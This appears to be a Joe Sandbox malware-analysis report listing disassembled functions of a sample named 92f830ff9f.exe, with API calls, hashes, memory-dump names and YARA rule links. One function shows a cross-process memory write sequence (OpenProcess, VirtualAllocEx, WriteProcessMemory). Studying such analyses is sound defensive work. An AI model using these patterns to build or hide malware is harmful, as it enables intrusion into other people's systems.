Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 0bdfba85e2e16b1aa98dcfaba56dcb1974f4b62f66e76e8c598fc073933be093
Instruction ID: f9488ac9eb98d2765ce77d699d192b3b32b7da0b600784fbf2fddbd5b24a988d
Opcode Fuzzy Hash: 0bdfba85e2e16b1aa98dcfaba56dcb1974f4b62f66e76e8c598fc073933be093
Instruction Fuzzy Hash: 10F06D35200305EBDB255FA4EC49F963BAFEF8AB71F101428FA49DB250DE71D8D08A60

Function 0065030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 00650324
CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 00650331
CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 0065033E
CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 0065034B
CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 00650358
CloseHandle.KERNEL32(?,?,?,?,0065017D,?,006532FC,?,00000001,00622592,?), ref: 00650365

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a85f4adefcce60ada08e231b16cec1da11f837d6756f079ca628601d4429ab76
Instruction ID: 30bf0dcc1917712a6aefec3f9bca9cd342915f64024d0af9887a7c92c9dc5731
Opcode Fuzzy Hash: a85f4adefcce60ada08e231b16cec1da11f837d6756f079ca628601d4429ab76
Instruction Fuzzy Hash: 2501A276800B169FD7309F66D880452F7F6BF503163158A3FD19652A31C371A958CF80

Function 0061D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0061D752

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 0061D764
_free.LIBCMT ref: 0061D776
_free.LIBCMT ref: 0061D788
_free.LIBCMT ref: 0061D79A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9729a9f2500d616f505115430d8876399883b52d32e7708b1b907bbf0a2fe1e5
Instruction ID: adad8c2635a70d0a92a45ca9f29ce0284791dd33584cd18e18d7e16ac25834c9
Opcode Fuzzy Hash: 9729a9f2500d616f505115430d8876399883b52d32e7708b1b907bbf0a2fe1e5
Instruction Fuzzy Hash: 06F03C32500205ABC661FB69F9C5CDA7BDFBB05B20B9C1C09F048DB651CB24FCD08AA4

Function 00645C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00645C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00645C6F
MessageBeep.USER32(00000000), ref: 00645C87
KillTimer.USER32(?,0000040A), ref: 00645CA3
EndDialog.USER32(?,00000001), ref: 00645CBD

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 48349c30e8d493dd2ca5a54ba5f7b069acb33cedded56d12c44e7544bcdd31ed
Instruction ID: 0c17b2506d09a431c94ccab16d965e4dfb5d20a5975a2668ec2bcaf5babf2635
Opcode Fuzzy Hash: 48349c30e8d493dd2ca5a54ba5f7b069acb33cedded56d12c44e7544bcdd31ed
Instruction Fuzzy Hash: 54018130500B04ABEB395B14DDCEFE67BBABB00B46F00155DA587A10E2DBF0A9848B91

Function 006122A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 006122BE

Part of subcall function 006129C8: RtlFreeHeap.NTDLL(00000000,00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000), ref: 006129DE
Part of subcall function 006129C8: GetLastError.KERNEL32(00000000,?,0061D7D1,00000000,00000000,00000000,00000000,?,0061D7F8,00000000,00000007,00000000,?,0061DBF5,00000000,00000000), ref: 006129F0

_free.LIBCMT ref: 006122D0
_free.LIBCMT ref: 006122E3
_free.LIBCMT ref: 006122F4
_free.LIBCMT ref: 00612305

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e8a7a8861ac1d59360451c64e79e3a30926d2fa164d5712d762ec77f28557b9a
Instruction ID: 69cef3b42b0d394e1cd917ced82abd64687e9fa082d605e373a78ae342453e60
Opcode Fuzzy Hash: e8a7a8861ac1d59360451c64e79e3a30926d2fa164d5712d762ec77f28557b9a
Instruction Fuzzy Hash: CCF01DB19101119BC752BF69AC218993F6BF71AB707482A0AF410DB371C7345AF19EA8

Function 005F95C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 005F95D4
StrokeAndFillPath.GDI32(?,?,006371F7,00000000,?,?,?), ref: 005F95F0
SelectObject.GDI32(?,00000000), ref: 005F9603
DeleteObject.GDI32 ref: 005F9616
StrokePath.GDI32(?), ref: 005F9631

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: d7fec6c97eeb9f84a79f1a6a5536866bf5824c6d1ba7e36b36750a11ad84327f
Instruction ID: aaee91fd8c1c87a909e68d402b27e29c36821f37fd4ef469be8b6561a68ef07d
Opcode Fuzzy Hash: d7fec6c97eeb9f84a79f1a6a5536866bf5824c6d1ba7e36b36750a11ad84327f
Instruction Fuzzy Hash: 64F0197000564CEBDB266F65ED287A43F66BB02336F54A318F529990F0C73589D1DFA0

Function 00610F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 006110F9
__freea.LIBCMT ref: 00611117

Part of subcall function 00611537: _free.LIBCMT ref: 0061154F

Strings

a/p, xrefs: 006111DE
am/pm, xrefs: 0061117A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: 467747d2646d859a7f9d46eed417ec5e12e14de2786f6ea82647c60fa0f3fb07
Instruction ID: 7dfb9cad61234bfd9ddf9954ac4b091454214d8ee74a653550003ae0e66e519e
Opcode Fuzzy Hash: 467747d2646d859a7f9d46eed417ec5e12e14de2786f6ea82647c60fa0f3fb07
Instruction Fuzzy Hash: 90D1CE31900206DADB289F68C856AFAB7B3EF07300F2C415AEB219F754D6759EC1CB95

Function 006661D0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 324COMMON

Download Yara Rule

APIs

Part of subcall function 00600242: EnterCriticalSection.KERNEL32(006B070C,006B1884,?,?,005F198B,006B2518,?,?,?,005E12F9,00000000), ref: 0060024D
Part of subcall function 00600242: LeaveCriticalSection.KERNEL32(006B070C,?,005F198B,006B2518,?,?,?,005E12F9,00000000), ref: 0060028A

Part of subcall function 006000A3: __onexit.LIBCMT ref: 006000A9

__Init_thread_footer.LIBCMT ref: 00666238

Part of subcall function 006001F8: EnterCriticalSection.KERNEL32(006B070C,?,?,005F8747,006B2514), ref: 00600202
Part of subcall function 006001F8: LeaveCriticalSection.KERNEL32(006B070C,?,005F8747,006B2514), ref: 00600235

Part of subcall function 0065359C: LoadStringW.USER32(00000066,?,00000FFF,00000000), ref: 006535E4
Part of subcall function 0065359C: LoadStringW.USER32(006B2390,?,00000FFF,?), ref: 0065360A

Strings

x#k, xrefs: 00666353
x#k, xrefs: 0066636F
x#k, xrefs: 0066633A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CriticalSection$EnterLeaveLoadString$Init_thread_footer__onexit
String ID: x#k$x#k$x#k
API String ID: 1072379062-2300618980
Opcode ID: d383955bac261b717ae8ace077b6ebfb419e32f3813fa5ab5aade84f4c626841
Instruction ID: ca09311702f9bbbd4be047ee805ada3e3506914ea79ef251ded06fbad67b5322
Opcode Fuzzy Hash: d383955bac261b717ae8ace077b6ebfb419e32f3813fa5ab5aade84f4c626841
Instruction Fuzzy Hash: 8BC14E71A0010AABDB14DF58D895EBEBBBAFF48300F148069F955AB391DB70ED45CB90

Function 00615AA9 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Strings

JO^, xrefs: 00615BA8, 00615C6C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID:
String ID: JO^
API String ID: 0-2038365757
Opcode ID: 2e31778bce15687bd41f082879d7c053cee31debbfd5307ffe4a2f450957c24f
Instruction ID: dd11430e445cbace75fc3e23e3ff87ae1b8c5fc2c4cbd69209f81aa8048198dc
Opcode Fuzzy Hash: 2e31778bce15687bd41f082879d7c053cee31debbfd5307ffe4a2f450957c24f
Instruction Fuzzy Hash: 3B51B171D04609DFDB249FA4C845FEFFBBAAF85310F18005DF406A72A1D7719A828BA5

Function 00618A61 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,00000002,00000000,?,?,?,00000000,?,?,?,?), ref: 00618B6E
GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,00000000,00001000,?), ref: 00618B7A
__dosmaperr.LIBCMT ref: 00618B81

Strings

.`, xrefs: 00618A63

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide__dosmaperr
String ID: .`
API String ID: 2434981716-3826532246
Opcode ID: 3d50129f5baa54fed2b6f625302554e0af4bf9c9ef2a805d53ab2fa491c7b882
Instruction ID: c430f020dcb7cb5767fc4c217096c82dc98253f07d50c60f9228580de2107ec3
Opcode Fuzzy Hash: 3d50129f5baa54fed2b6f625302554e0af4bf9c9ef2a805d53ab2fa491c7b882
Instruction Fuzzy Hash: 1D415BB0608145AFDB249F64CC90AFA7FA7DF86314B2C81A9F88587652DE318D839794

Function 00642716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0064B403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006421D0,?,?,00000034,00000800,?,00000034), ref: 0064B42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00642760

Part of subcall function 0064B3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,006421FF,?,?,00000800,?,00001073,00000000,?,?), ref: 0064B3F8

Part of subcall function 0064B32A: GetWindowThreadProcessId.USER32(?,?), ref: 0064B355
Part of subcall function 0064B32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00642194,00000034,?,?,00001004,00000000,00000000), ref: 0064B365
Part of subcall function 0064B32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00642194,00000034,?,?,00001004,00000000,00000000), ref: 0064B37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 006427CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 0064281A

Strings

@, xrefs: 00642832

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: e78ab0bcd6bb4f77c80f46716e88b703592ce9ee32e34946d9c5b7212ef9f9bf
Instruction ID: d9d95cd931d8f142ce89bd52a5131212327b4ec47a29b6c3fb3a3782db96cf91
Opcode Fuzzy Hash: e78ab0bcd6bb4f77c80f46716e88b703592ce9ee32e34946d9c5b7212ef9f9bf
Instruction Fuzzy Hash: 01416072900219BFDB10DFA4CC95ADEBBB9EF05300F105099FA45B7181DB70AE85CBA0

Function 0061172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe,00000104), ref: 00611769
_free.LIBCMT ref: 00611834
_free.LIBCMT ref: 0061183E

Strings

C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe, xrefs: 00611760, 00611767, 00611796, 006117CE

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1008435001\92f830ff9f.exe
API String ID: 2506810119-3269201712
Opcode ID: 61baab82a15f6e6f960228eedea70def25698cc1e667dd2dcc95bdaf0d14fbfc
Instruction ID: 7af98c47817335dabc068cf1c669ceaad8cceddd010a6c8028dac2de052c4eec
Opcode Fuzzy Hash: 61baab82a15f6e6f960228eedea70def25698cc1e667dd2dcc95bdaf0d14fbfc
Instruction Fuzzy Hash: EB318071A00218BFDB61DF999881DDEBBFEEB86310B58416AF504DB351D6708EC1CB94

Function 0064C27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 0064C306
DeleteMenu.USER32(?,00000007,00000000), ref: 0064C34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,006B1990,019B5340), ref: 0064C395

Strings

0, xrefs: 0064C2DF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 6b33575362f321bc715e7fababb731cbf5ae80fcd655691a721e98cb4f6e3e4a
Instruction ID: ad5a3a39889be6d09ed182753f50f9eb5dba18cf7830f95116af7a933ad59171
Opcode Fuzzy Hash: 6b33575362f321bc715e7fababb731cbf5ae80fcd655691a721e98cb4f6e3e4a
Instruction Fuzzy Hash: 1741DF322063029FD765DF25D884F5ABBEAAF85320F008A1DF9A5973D1D730E904CB66

Function 00674416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,0067CC08,00000000,?,?,?,?), ref: 006744AA
GetWindowLongW.USER32 ref: 006744C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 006744D7

Strings

SysTreeView32, xrefs: 0067447C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 9e1eb395ed40798869e2491e67e9498fe2fad138fef7ba8f5040875325359982
Instruction ID: f9c0c6cb5e959f05ca5d2bd5264cbc943b7c1efa49135bd4ea5a70a1ece59376
Opcode Fuzzy Hash: 9e1eb395ed40798869e2491e67e9498fe2fad138fef7ba8f5040875325359982
Instruction Fuzzy Hash: 6F31B271210605AFDF148E38DC49BEA7BAAEB48334F208715F979922D0DB74EC909750

Function 00646E71 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92memoryCOMMON

Download Yara Rule

APIs

SysReAllocString.OLEAUT32(?,?), ref: 00646EED
VariantCopyInd.OLEAUT32(?,?), ref: 00646F08
VariantClear.OLEAUT32(?), ref: 00646F12

Strings

*jd, xrefs: 00646E8B, 00646E90, 00646EF8

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$AllocClearCopyString
String ID: *jd
API String ID: 2173805711-525745224
Opcode ID: beb2d3e14603117d2481f8107943a5479f7c456e19cd498b771088325e0ede0c
Instruction ID: ce18807a10acd3f8271dba1d45f98458e60e19b21a0be7093dac7b2ca525f191
Opcode Fuzzy Hash: beb2d3e14603117d2481f8107943a5479f7c456e19cd498b771088325e0ede0c
Instruction Fuzzy Hash: 1231B371604246DFCB08AF66E8959BE3BB7FF86300F100499F9824B2B1C7349916DBD2

Function 0066304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0066335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00663077,?,?), ref: 00663378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0066307A
_wcslen.LIBCMT ref: 0066309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00663106

Strings

255.255.255.255, xrefs: 00663095, 0066309A

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ByteCharMultiWide_wcslenhtonsinet_addr
String ID: 255.255.255.255
API String ID: 946324512-2422070025
Opcode ID: d63c04404ebe8cfdb0542c2e491aeb6b1f2336ff37224fa90b216db1411dff6a
Instruction ID: 23fb94b657c78c34c1a424e2fd65bf24387aab440371d5464452f8eb8e8920fc
Opcode Fuzzy Hash: d63c04404ebe8cfdb0542c2e491aeb6b1f2336ff37224fa90b216db1411dff6a
Instruction Fuzzy Hash: 9331E4356042519FCB24CF28C585EAABBE2EF55318F248059E9158F392DB32EF85CB61

Function 00673EB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 89windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00673F40
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00673F54
SendMessageW.USER32(?,00001002,00000000,?), ref: 00673F78

Strings

SysMonthCal32, xrefs: 00673F0B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

